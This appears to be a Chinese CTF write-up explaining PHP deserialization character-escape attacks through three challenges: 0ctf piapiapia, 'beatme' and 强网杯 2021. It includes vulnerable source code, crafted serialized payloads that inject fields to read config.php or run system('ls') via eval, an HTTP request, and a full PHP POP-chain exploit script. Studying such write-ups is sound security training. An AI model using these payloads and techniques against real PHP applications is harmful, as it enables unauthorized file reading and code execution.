php 反序列化字符逃逸

 

反序列化字符逃逸

反序列化造成的字符逃逸或者对象注入问题的原因在于序列化后的内容长度被修改,而 php 在反序列化时只会根据字段的长度去进行解析, 从而导致反序列化后出现问题.

序列化内容由短变长

最经典的题目是 0ctf piapiapia ,buuctf 平台上可以直接开启环境.

题目的场景如下:

  1. 提供了注册接口 register.php 以及登陆接口 login.php
  2. 登陆之后可以在 update.php 中修改用户信息. 修改后的用户信息首先会被进行序列化
    $user->update_profile($username, serialize($profile));
    

    序列化内容中的 'select', 'insert', 'update', 'delete', 'where' 会被替换为 hacker,

    	public function filter($string) {
         $escape = array('\'', '\\\\');
         $escape = '/' . implode('|', $escape) . '/';
         $string = preg_replace($escape, '_', $string);
    
         $safe = array('select', 'insert', 'update', 'delete', 'where');
         $safe = '/' . implode('|', $safe) . '/i';
         return preg_replace($safe, 'hacker', $string);
     }
    

    过滤之后的内容会存放在数据库中.

  3. 更新完了之后会跳转到 profile.php 中查看用户信息. profile.php 会将序列化的用户信息从数据库中取出,然后进行反序列化, 会对其中的 $photo 属性调用 file_get_contents.
     $profile = unserialize($profile);
     $phone = $profile['phone'];
     $email = $profile['email'];
     $nickname = $profile['nickname'];
     $photo = base64_encode(file_get_contents($profile['photo']));
    

    只要能够控制 $photo 的值, 那么就可以利用 file_get_contents 读取 config.php 中的 flag.

一个正常的 profile, 序列化之后的内容如下:

<?php
$profile = array(
    'phone'=>"12345678912",
    "email"=>"123@qq.com",
    "nickname"=>"admin",
    "photo"=>"upload//123123123.png"
);
$a = serialize($profile);
echo $a,"\n";

// a:4:{s:5:"phone";s:11:"12345678912";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:21:"upload//123123123.png";}

filter 函数中会将 where 替换为 hacker ,此时长度会扩增一位, 利用长度变化就可以达成对象注入的目的. 我们的目标是注入 photo 属性, 并设置为 config.php, 所以需要在 nickname 处构造 payload, 对应的序列化字符串为:

a:4:{s:5:"phone";s:11:"12345678912";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"config.php";}

nickname 需要注入的内容为 ";s:5:"photo";s:10:"config.php";} 这其中会带有引号, 题目对 nickname 使用了 pregmatch 进行过滤,.

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');

为了绕过过滤, nickname 可以传一个数组.

$profile = array(
    'phone'=>"12345678912",
    "email"=>"123@qq.com",
    "nickname"=>array(0=>"admin"),
    "photo"=>"config.php"
);
$a = serialize($profile);
echo $a,"\n";

// a:4:{s:5:"phone";s:11:"12345678912";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"admin";}s:5:"photo";s:10:"config.php";}

nickname 需要注入的内容为 ";}s:5:"photo";s:10:"config.php";}, 一共 34 个字符, 将一个 where 替换成 hacker 会增长一位, 所以需要构造 34 个 where. payload 如下, 其中的 filter 为题目的 filter 函数.

$profile = array(
    'phone'=>"12345678912",
    "email"=>"123@qq.com",
    "nickname"=>array(0=>'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
    "photo"=>"config.php"
);

$a = serialize($profile);
echo $a,"\n";

// a:4:{s:5:"phone";s:11:"12345678912";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:10:"config.php";}

$b = filter($a);
echo $b,"\n";
$c = unserialize($b);
/*
array(4) {
  'phone' =>
  string(11) "12345678912"
  'email' =>
  string(10) "123@qq.com"
  'nickname' =>
  array(1) {
    [0] =>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  'photo' =>
  string(10) "config.php"
}
*/

可以看到成功注入了 photo 字段. 访问 update 页面, 发包时将 nickname 改为数组的形式:

POST /update.php HTTP/1.1
Host: fe5856ed-f492-4f4b-ba4f-fd34c09ed30e.node4.buuoj.cn:81
Content-Length: 42204
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://fe5856ed-f492-4f4b-ba4f-fd34c09ed30e.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZN7nsGI9VfzzoC75
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://fe5856ed-f492-4f4b-ba4f-fd34c09ed30e.node4.buuoj.cn:81/update.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5f0e93753e1bd5fcfa584e4d9aaa9f40
Connection: close

------WebKitFormBoundaryZN7nsGI9VfzzoC75
Content-Disposition: form-data; name="phone"

12345678912
------WebKitFormBoundaryZN7nsGI9VfzzoC75
Content-Disposition: form-data; name="email"

123@qq.com
------WebKitFormBoundaryZN7nsGI9VfzzoC75
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

再次访问 profile.php 就可以拿到 config.php 的内容.

序列化内容由长变短

例题: beatme index.php

<?php
function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'nono', $string);
}

class Challenge{
    public $p;
    public $key;
    function __construct($p1="",$p2="",$key="echo 'can you beat me?';"){
        $this->p1 = $p1;
        $this->p2 = $p2;
        $this->key = $key;
    }
    function __destruct(){
        eval($this->key);
    }
}

if(!isset($_GET['p'])){
    $raw = serialize(new Challenge($_GET['p1'],$_GET['p2']));
    $safe = filter($raw);
    $a = unserialize($safe);
}else {
    $a = new Challenge();
}
  1. 参数 p1,p2 可以传入两个参数用于实例化 Challenge 对象, Challenge 对象在销毁时会执行 eval, key 属性的内容无无法直接通过传参来控制
  2. 调用 filter 函数处理序列化的内容, 但与 0ctf piapiapia 不同的地方在于这道题是由长变短, 从 where 替换为 nono 时会减少一个字符.

我们的目标是通过反序列化逃逸注入 key 属性,但与 0ctf piapiapia 不同的是, 由短变长时,一般控制目标的前一个字段,而由长变短时,就需要同时控制前两个字段, 这里为 p1 和 p2.

我们想要构造的目标为:

class Challenge{
    public $p1 = "";
    public $p2 = "";
    public $key = "system(\"ls\");";
}
$a = new Challenge();
echo serialize($a),"\n";
// O:9:"Challenge":3:{s:2:"p1";s:0:"";s:2:"p2";s:0:"";s:3:"key";s:13:"system("ls");";}

总的来说就是利用长度变小使得 p1 将 p2 的内容给吞掉,然后 p2 处注入 key 的内容.

  1. p2 需要构造的内容为 :";s:3:"key";s:13:"system("ls");";}, 此时 p2 序列化的内容为: s:2:"p2";s:34:"";s:3:"key";s:13:"system("ls");";}"
  2. p1 需要将 p2 前半段给吞掉,也就是 ";s:2:"p2";s:34:" 长度为 17 ,因此需要构造 17 个 where 替换为 nono.

exp.php

$p1 = 17*"where";
$p2 = '";s:3:"key";s:13:"system("ls");";}';

其他题目

强网杯 2021 web 辅助

class.php

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

common.php

<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>
  1. pop链中的变量都变成了 protected,反序列化时需格外注意。
  2. read 函数有变化,字符是从5个减小到3个。
  3. 绕过对于 name 的过滤,可以使用十六进制,然后使用S进行转义处理。否则无法正确处理十六进制
  4. 绕过 __wakeup。

利用脚本

<?php

class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }
}

class jungle
{
    protected $name = "";

    public function __construct($name = "Lee Sin")
    {
        $this->name = $name;
    }
}


function console($line){
    $arr = explode(':',$line);
    for ($i = 0;$i<sizeof($arr);$i++){
        if(preg_match('/name/',$arr[$i])){
            $arr[$i] = str_replace("name",'\6e\61\6d\65',$arr[$i]);
            $arr[$i-2] = str_replace('s','S',$arr[$i-2]);
        }
    }
    $result = implode($arr,':');
    $result = str_replace('"midsolo":1:','"midsolo":2:',$result);
    return $result;
}

function pad($poc){
    $pad = '";s:7:" * pass";s:111:"0';
    $username = 'drom'.str_repeat('\0*\0',(strlen($pad))/2);
    $password = '0'.'";s:4:"drom";'.$poc.'s:8:"\0*\0admin";i:0;}';
    $args = '?username='.urlencode($username).'&password='.urlencode($password);
    return $args;
}

function CURL($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

$tmp  = console(serialize(new topsolo(new midsolo(new jungle()))));
$url = 'http://127.0.0.1/qw/webfuzhu/html/';
CURL($url.pad($tmp));
echo CURL($url.'play.php');